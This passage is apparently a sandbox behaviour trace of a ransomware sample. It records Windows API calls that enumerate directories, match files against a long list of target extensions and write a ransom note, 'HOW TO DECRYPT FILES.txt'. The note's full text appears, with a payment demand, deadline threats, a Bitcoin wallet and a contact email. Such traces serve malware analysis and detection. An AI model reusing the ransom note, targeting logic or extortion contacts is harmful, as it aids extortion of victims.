(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0108.751] lstrlenA (lpString="*.ods") returned 5 [0108.751] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0108.751] lstrlenA (lpString="*.wav") returned 5 [0108.751] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.mp3") returned 0 [0108.751] lstrlenA (lpString="*.mp3") returned 5 [0108.751] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0108.751] lstrlenA (lpString="*.aiff") returned 6 [0108.751] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0108.751] lstrlenA (lpString="*.flac") returned 6 [0108.751] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0108.751] lstrlenA (lpString="*.m4a") returned 5 [0108.751] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0108.751] lstrlenA (lpString="*.csv") returned 5 [0108.751] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x474d20f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x474d20f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x474d20f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x3ba00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.Tools.Outlook.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.751] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.752] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47e7da50, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x47e7da50, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x47e7da50, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="5206b5bd4f91f3a76ee93be8db190971", cAlternateFileName="5206B5~1")) returned 1 [0108.752] lstrcmpA (lpString1=".", lpString2="5206b5bd4f91f3a76ee93be8db190971") returned -1 [0108.752] lstrcmpA (lpString1="..", lpString2="5206b5bd4f91f3a76ee93be8db190971") returned -1 [0108.752] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\*.*") returned="*.*" [0108.752] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\", lpString2="5206b5bd4f91f3a76ee93be8db190971" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971" [0108.752] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971") returned 100 [0108.752] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47e7da50, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x47e7da50, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x47e7da50, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.752] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.752] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47e7da50, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x47e7da50, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x47e7da50, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.752] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.753] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.753] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47e578f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x47e578f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x47e578f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x121a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.Tools.Word.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.753] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.753] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.Tools.Word.v9.0.ni.dll") returned -1 [0108.753] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.Tools.Word.v9.0.ni.dll") returned -1 [0108.753] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.Tools.Word.v9.0.ni.dll") returned -1 [0108.753] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\*.*") returned="*.*" [0108.753] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\" [0108.753] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\") returned="" [0108.753] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\HOW TO DECRYPT FILES.txt" [0108.753] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.to#\\5206b5bd4f91f3a76ee93be8db190971\\how to decrypt files.txt")) returned 0xffffffff [0108.753] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.to#\\5206b5bd4f91f3a76ee93be8db190971\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.758] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0108.758] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0108.761] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.761] CloseHandle (hObject=0x90) returned 1 [0108.761] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\", lpString2="Microsoft.Office.Tools.Word.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll" [0108.761] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0108.761] lstrlenA (lpString="*.ems") returned 5 [0108.761] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.db") returned 0 [0108.761] lstrlenA (lpString="*.db") returned 4 [0108.761] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0108.761] lstrlenA (lpString="*.dbf") returned 5 [0108.762] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0108.762] lstrlenA (lpString="*.myox") returned 6 [0108.762] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0108.762] lstrlenA (lpString="*.myo") returned 5 [0108.762] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0108.762] lstrlenA (lpString="*.qbw") returned 5 [0108.762] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0108.762] lstrlenA (lpString="*.qbb") returned 5 [0108.762] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0108.762] lstrlenA (lpString="*.qbm") returned 5 [0108.762] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0108.762] lstrlenA (lpString="*.qbo") returned 5 [0108.762] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0108.762] lstrlenA (lpString="*.qbx") returned 5 [0108.762] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0108.762] lstrlenA (lpString="*.qba") returned 5 [0108.762] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0108.762] lstrlenA (lpString="*.qby") returned 5 [0108.763] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0108.763] lstrlenA (lpString="*.qbj") returned 5 [0108.763] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0108.763] lstrlenA (lpString="*.ofx") returned 5 [0108.763] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0108.763] lstrlenA (lpString="*.qif") returned 5 [0108.763] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0108.763] lstrlenA (lpString="*.mye") returned 5 [0108.763] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0108.763] lstrlenA (lpString="*.mbox") returned 6 [0108.763] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0108.763] lstrlenA (lpString="*.eml") returned 5 [0108.763] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0108.763] lstrlenA (lpString="*.pst") returned 5 [0108.763] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0108.763] lstrlenA (lpString="*.ost") returned 5 [0108.763] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0108.763] lstrlenA (lpString="*.idx") returned 5 [0108.763] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0108.763] lstrlenA (lpString="*.dbx") returned 5 [0108.764] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0108.764] lstrlenA (lpString="*.sql") returned 5 [0108.764] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0108.764] lstrlenA (lpString="*.mdb") returned 5 [0108.764] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0108.764] lstrlenA (lpString="*.fdb") returned 5 [0108.764] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0108.764] lstrlenA (lpString="*.wab") returned 5 [0108.764] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0108.764] lstrlenA (lpString="*.dat") returned 5 [0108.764] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0108.764] lstrlenA (lpString="*.txt") returned 5 [0108.764] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0108.764] lstrlenA (lpString="*.jpeg") returned 6 [0108.764] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0108.765] lstrlenA (lpString="*.jpg") returned 5 [0108.765] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.png") returned 0 [0108.765] lstrlenA (lpString="*.png") returned 5 [0108.765] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.php") returned 0 [0108.765] lstrlenA (lpString="*.php") returned 5 [0108.765] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0108.765] lstrlenA (lpString="*.cs") returned 4 [0108.765] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0108.765] lstrlenA (lpString="*.cpp") returned 5 [0108.765] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0108.765] lstrlenA (lpString="*.rar") returned 5 [0108.765] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0108.765] lstrlenA (lpString="*.zip") returned 5 [0108.765] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.html") returned 0 [0108.765] lstrlenA (lpString="*.html") returned 6 [0108.765] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0108.765] lstrlenA (lpString="*.htm") returned 5 [0108.765] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0108.765] lstrlenA (lpString="*.xlsx") returned 6 [0108.765] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0108.766] lstrlenA (lpString="*.xls") returned 5 [0108.766] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0108.766] lstrlenA (lpString="*.mp4") returned 5 [0108.766] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0108.766] lstrlenA (lpString="*.ppt") returned 5 [0108.766] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0108.766] lstrlenA (lpString="*.pptx") returned 6 [0108.766] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0108.766] lstrlenA (lpString="*.doc") returned 5 [0108.766] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0108.766] lstrlenA (lpString="*.dot") returned 5 [0108.766] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0108.766] lstrlenA (lpString="*.docx") returned 6 [0108.766] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0108.766] lstrlenA (lpString="*.7z") returned 4 [0108.766] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0108.766] lstrlenA (lpString="*.tar") returned 5 [0108.766] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0108.766] lstrlenA (lpString="*.bz2") returned 5 [0108.766] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0108.767] lstrlenA (lpString="*.gz") returned 4 [0108.767] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0108.767] lstrlenA (lpString="*.mkv") returned 5 [0108.767] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0108.767] lstrlenA (lpString="*.eml") returned 5 [0108.767] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0108.767] lstrlenA (lpString="*.msg") returned 5 [0108.767] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0108.767] lstrlenA (lpString="*.edb") returned 5 [0108.767] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0108.767] lstrlenA (lpString="*.accdb") returned 7 [0108.767] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0108.767] lstrlenA (lpString="*.odb") returned 5 [0108.767] PathMatchSpecA 